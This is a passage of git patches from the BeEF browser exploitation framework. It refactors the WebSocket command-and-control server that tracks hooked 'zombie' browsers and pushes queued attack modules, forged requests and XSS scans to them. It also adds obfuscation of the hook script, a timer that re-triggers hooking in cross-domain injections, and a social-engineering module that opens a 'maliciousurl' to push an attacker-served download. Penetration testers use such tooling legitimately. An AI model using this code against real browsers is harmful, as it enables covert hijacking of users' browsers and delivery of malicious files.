evasion.obfuscate(@hook) + @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate) + @hook + else + @final_hook = ext_js_to_not_obfuscate + @hook end - @body << @hook + # @note Return the final hook to be sent to the browser + @body << @final_hook end @@ -131,9 +158,7 @@ module BeEF end } end - end - end end end From 50e7a1c206fb7fc20676d1556d6784ec01512210 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 25 Aug 2012 10:18:56 +0100 Subject: [PATCH 33/36] Refactored WebSocket code. --- beef | 4 +- config.yaml | 8 +- core/main/client/websocket.js | 2 +- .../main/network_stack/websocket/websocket.rb | 204 ++++++++++++------ 4 files changed, 141 insertions(+), 77 deletions(-) diff --git a/beef b/beef index 5b84151e6..2a9672d46 100755 --- a/beef +++ b/beef @@ -124,9 +124,9 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" #@note Starts the WebSocket server if config.get("beef.http.websocket.enable") BeEF::Core::Websocket::Websocket.instance - print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" if config.get("beef.http.websocket.secure") - print_info "Starting WebSocket-Secured server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + print_info "Starting WebSocketSecure server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" end end diff --git a/config.yaml b/config.yaml index c746ca493..46c5e98c0 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.7-alpha' - debug: true + debug: false restrictions: # subnet of browser ip addresses that can hook to the framework @@ -42,9 +42,9 @@ beef: # Prefer WebSockets over XHR-polling when possible. websocket: enable: false - secure: false # use WebSocketSecure work only on https domain and whit https support enabled in BeEF - port: 61985 # good success rate through proxies - secure_port: 61986 #to accept wss connection + secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF + port: 61985 # WS: good success rate through proxies + secure_port: 61986 # WSS alive_timer: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index e1cca10ee..69ab27515 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -28,7 +28,7 @@ beef.websocket = { var webSocketSecure = <%= @websocket_secure %>; var protocol = "ws://"; //console.log("We are inside init"); - /*use wss only if hooked domain is under tls*/ + /*use wss only if hooked domain is under https. Mixed-content in WS is quite different from a non-WS context*/ if(webSocketSecure && window.location.protocol=="https:"){ protocol = "wss://"; webSocketPort= <%= @websocket_sec_port %>; diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index b5c6ec0e4..a17d3c35d 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -33,84 +33,150 @@ module BeEF def initialize - secure = @@config.get("beef.http.websocket.secure") #&& @@config.get("beef.http.https.enable") + secure = @@config.get("beef.http.websocket.secure") @root_dir = File.expand_path('../../../../../', __FILE__) if (secure) - #Thread for websocket-secure - Thread.new { - port = @@config.get("beef.http.websocket.secure_port") - sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets - EventMachine.run { - - wsopt = {:host => "0.0.0.0", :port => port, :secure => true, - :tls_options => { - :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), - :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") - } - } - - - EventMachine::WebSocket.start(wsopt) do |ws| - begin - print_debug "New WebSocket-secured channel open." - ws.onmessage { |msg| - msg_hash = JSON.parse("#{msg}") - #@note messageHash[result] is Base64 encoded - if (msg_hash["cookie"]!= nil) - print_debug("WebSocket-secured - Browser says helo! WebSocket is running") - #insert new connection in activesocket - @@activeSocket["#{msg_hash["cookie"]}"] = ws - print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]") - elsif msg_hash["alive"] != nil - hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) - unless hooked_browser.nil? - hooked_browser.lastseen = Time.new.to_i - hooked_browser.count! - hooked_browser.save - - #Check if new modules need to be sent - zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) - zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } - - #@todo antisnatchor: - #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions - #Check if new forged requests need to be sent (Requester/TunnelingProxy) - dhook = BeEF::Extension::Requester::API::Hook.new - dhook.requester_run(hooked_browser, '') - - #Check if new XssRays scan need to be started - xssrays = BeEF::Extension::Xssrays::API::Scan.new - xssrays.start_scan(hooked_browser, '') - end - else - #json recv is a cmd response decode and send all to - #we have to call dynamicreconstructor handler camp must be websocket - #print_debug("Received from WebSocket #{messageHash}") - execute(msg_hash) - end - } - rescue Exception => e - print_error "WebSocket-secured error: #{e}" - end - end - } - + ws_secure_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.secure_port"), :secure => true, + :tls_options => { + :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), + :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") + } } + # @note Start a WSS server socket + start_websocket_server(ws_secure_options, true) end - #Thread for websocket + # @note Start a WS server socket + ws_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.port")} + start_websocket_server(ws_options,false) + + # #Thread for websocket-secure + # Thread.new { + # port = @@config.get("beef.http.websocket.secure_port") + # sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets + # EventMachine.run { + # + # wsopt = {:host => "0.0.0.0", :port => port, :secure => true, + # :tls_options => { + # :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), + # :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") + # } + # } + # + # + # EventMachine::WebSocket.start(wsopt) do |ws| + # begin + # print_debug "New WebSocket-secured channel open." + # ws.onmessage { |msg| + # msg_hash = JSON.parse("#{msg}") + # #@note messageHash[result] is Base64 encoded + # if (msg_hash["cookie"]!= nil) + # print_debug("WebSocket-secured - Browser says helo! WebSocket is running") + # #insert new connection in activesocket + # @@activeSocket["#{msg_hash["cookie"]}"] = ws + # print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]") + # elsif msg_hash["alive"] != nil + # hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) + # unless hooked_browser.nil? + # hooked_browser.lastseen = Time.new.to_i + # hooked_browser.count! + # hooked_browser.save + # + # #Check if new modules need to be sent + # zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + # zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + # + # #@todo antisnatchor: + # #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + # #Check if new forged requests need to be sent (Requester/TunnelingProxy) + # dhook = BeEF::Extension::Requester::API::Hook.new + # dhook.requester_run(hooked_browser, '') + # + # #Check if new XssRays scan need to be started + # xssrays = BeEF::Extension::Xssrays::API::Scan.new + # xssrays.start_scan(hooked_browser, '') + # end + # else + # #json recv is a cmd response decode and send all to + # #we have to call dynamicreconstructor handler camp must be websocket + # #print_debug("Received from WebSocket #{messageHash}") + # execute(msg_hash) + # end + # } + # rescue Exception => e + # print_error "WebSocket-secured error: #{e}" + # end + # end + # } + # + # } + # + ##Thread for websocket + #Thread.new { + # port = @@config.get("beef.http.websocket.port") + # sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets + # EventMachine.run { + # + # wsopt = {:host => "0.0.0.0", :port => port} + # + # + # EventMachine::WebSocket.start(wsopt) do |ws| + # begin + # print_debug "New WebSocket channel open." + # ws.onmessage { |msg| + # msg_hash = JSON.parse("#{msg}") + # #@note messageHash[result] is Base64 encoded + # if (msg_hash["cookie"]!= nil) + # print_debug("WebSocket - Browser says helo! WebSocket is running") + # #insert new connection in activesocket + # @@activeSocket["#{msg_hash["cookie"]}"] = ws + # print_debug("WebSocket - activeSocket content [#{@@activeSocket}]") + # elsif msg_hash["alive"] != nil + # hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) + # unless hooked_browser.nil? + # hooked_browser.lastseen = Time.new.to_i + # hooked_browser.count! + # hooked_browser.save + # + # #Check if new modules need to be sent + # zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + # zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + # + # #@todo antisnatchor: + # #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + # #Check if new forged requests need to be sent (Requester/TunnelingProxy) + # dhook = BeEF::Extension::Requester::API::Hook.new + # dhook.requester_run(hooked_browser, '') + # + # #Check if new XssRays scan need to be started + # xssrays = BeEF::Extension::Xssrays::API::Scan.new + # xssrays.start_scan(hooked_browser, '') + # end + # else + # #json recv is a cmd response decode and send all to + # #we have to call dynamicreconstructor handler camp must be websocket + # #print_debug("Received from WebSocket #{messageHash}") + # execute(msg_hash) + # end + # } + # rescue Exception => e + # print_error "WebSocket error: #{e}" + # end + # end + # } + #} + + + end + + def start_websocket_server(ws_options, secure) Thread.new { - port = @@config.get("beef.http.websocket.port") sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets EventMachine.run { - - wsopt = {:host => "0.0.0.0", :port => port} - - - EventMachine::WebSocket.start(wsopt) do |ws| + EventMachine::WebSocket.start(ws_options) do |ws| begin - print_debug "New WebSocket channel open." + secure ? print_debug("New WebSocketSecure channel open.") : print_debug("New WebSocket channel open.") ws.onmessage { |msg| msg_hash = JSON.parse("#{msg}") #@note messageHash[result] is Base64 encoded @@ -153,8 +219,6 @@ module BeEF end } } - - end #@note retrieve the right websocket channel given an hooked browser session From b6c12fd0f35ff243ab61009c04126384bbc70c21 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 25 Aug 2012 10:25:31 +0100 Subject: [PATCH 34/36] Added copyright to are.js --- core/main/client/are.js | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/core/main/client/are.js b/core/main/client/are.js index f1c7588d8..4cdcff84b 100644 --- a/core/main/client/are.js +++ b/core/main/client/are.js @@ -1,4 +1,18 @@ - +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.are = { init:function(){ var Jools = require('jools'); From 42c348f3f2396fbf0dc573459082a6855a218783 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 25 Aug 2012 10:26:16 +0100 Subject: [PATCH 35/36] Added timeout.js that calls beef_init an fix some nasty cross-domain hooking issues when the hooking process was not started. --- core/main/client/timeout.js | 26 ++++++++++++++++++++++++++ core/main/handlers/modules/beefjs.rb | 8 ++++---- 2 files changed, 30 insertions(+), 4 deletions(-) create mode 100644 core/main/client/timeout.js diff --git a/core/main/client/timeout.js b/core/main/client/timeout.js new file mode 100644 index 000000000..6aab560cf --- /dev/null +++ b/core/main/client/timeout.js @@ -0,0 +1,26 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +/* + Sometimes there are timing issues and looks like beef_init + is not called at all (always in cross-domain situations, + for example calling the hook with jquery getScript, + or sometimes with event handler injections). + + To fix this, we call again beef_init after 1 second. + Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece + antisnatchor + */ +setTimeout(beef_init, 1000); \ No newline at end of file diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index a5ff93864..8e30ae735 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -35,10 +35,10 @@ module BeEF # @note Load websocket library only if WS server is enabled in config.yaml if config.get("beef.http.websocket.enable") == false - # @note BeEF libraries: need Eruby evaluation and obfuscation - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) - else - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) + # @note BeEF libraries: need Eruby evaluation and obfuscation #antisnatchor: leave timeout.js as the last one! + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js timeout.js) + else #antisnatchor: leave timeout.js as the last one! + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js timeout.js) end ext_js_to_obfuscate = '' From 57f68725bcbe339bc40ef0d68a7810a9c96c95e1 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sat, 25 Aug 2012 18:54:15 +0930 Subject: [PATCH 36/36] Moved lcamtuf download module to social engineering category --- .../lcamtuf_download/command.js | 7 +++---- .../lcamtuf_download/config.yaml | 2 +- .../lcamtuf_download/module.rb | 3 +-- 3 files changed, 5 insertions(+), 7 deletions(-) rename modules/{browser => social_engineering}/lcamtuf_download/command.js (89%) rename modules/{browser => social_engineering}/lcamtuf_download/config.yaml (96%) rename modules/{browser => social_engineering}/lcamtuf_download/module.rb (97%) diff --git a/modules/browser/lcamtuf_download/command.js b/modules/social_engineering/lcamtuf_download/command.js similarity index 89% rename from modules/browser/lcamtuf_download/command.js rename to modules/social_engineering/lcamtuf_download/command.js index a827c99fa..2982cd00b 100644 --- a/modules/browser/lcamtuf_download/command.js +++ b/modules/social_engineering/lcamtuf_download/command.js @@ -21,12 +21,11 @@ beef.execute(function() { function doit() { - if (navigator.userAgent.indexOf('MSIE') == -1){ + if (!beef.browser.isIE()) { w = window.open('data:text/html,', 'foo'); - setTimeout(donext, 4500); - } + } function donext() { window.open(maliciousurl, 'foo'); @@ -34,5 +33,5 @@ beef.execute(function() { once = true; } doit(); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command executed"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed"); }); diff --git a/modules/browser/lcamtuf_download/config.yaml b/modules/social_engineering/lcamtuf_download/config.yaml similarity index 96% rename from modules/browser/lcamtuf_download/config.yaml rename to modules/social_engineering/lcamtuf_download/config.yaml index 0671d8844..329af0cbc 100644 --- a/modules/browser/lcamtuf_download/config.yaml +++ b/modules/social_engineering/lcamtuf_download/config.yaml @@ -17,7 +17,7 @@ beef: module: lcamtuf_download: enable: true - category: "Browser" + category: "Social Engineering" name: "Lcamtuf Download" description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ." authors: ["Bart Leppens"] diff --git a/modules/browser/lcamtuf_download/module.rb b/modules/social_engineering/lcamtuf_download/module.rb similarity index 97% rename from modules/browser/lcamtuf_download/module.rb rename to modules/social_engineering/lcamtuf_download/module.rb index 1d2b707dd..7d163b78c 100644 --- a/modules/browser/lcamtuf_download/module.rb +++ b/modules/social_engineering/lcamtuf_download/module.rb @@ -18,7 +18,6 @@ class Lcamtuf_download < BeEF::Core::Command # set and return all options for this module def self.options - return [{ 'name' => 'real_file_uri', 'description' => 'The web accessible URI for the real file.', @@ -33,7 +32,7 @@ class Lcamtuf_download < BeEF::Core::Command 'value' => '', 'width' => '300px' }, - { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Once', 'store_type' => 'arraystore', + { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Run Once', 'store_type' => 'arraystore', 'store_fields' => ['do_once'], 'store_data' => [['false'],['true']], 'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true }]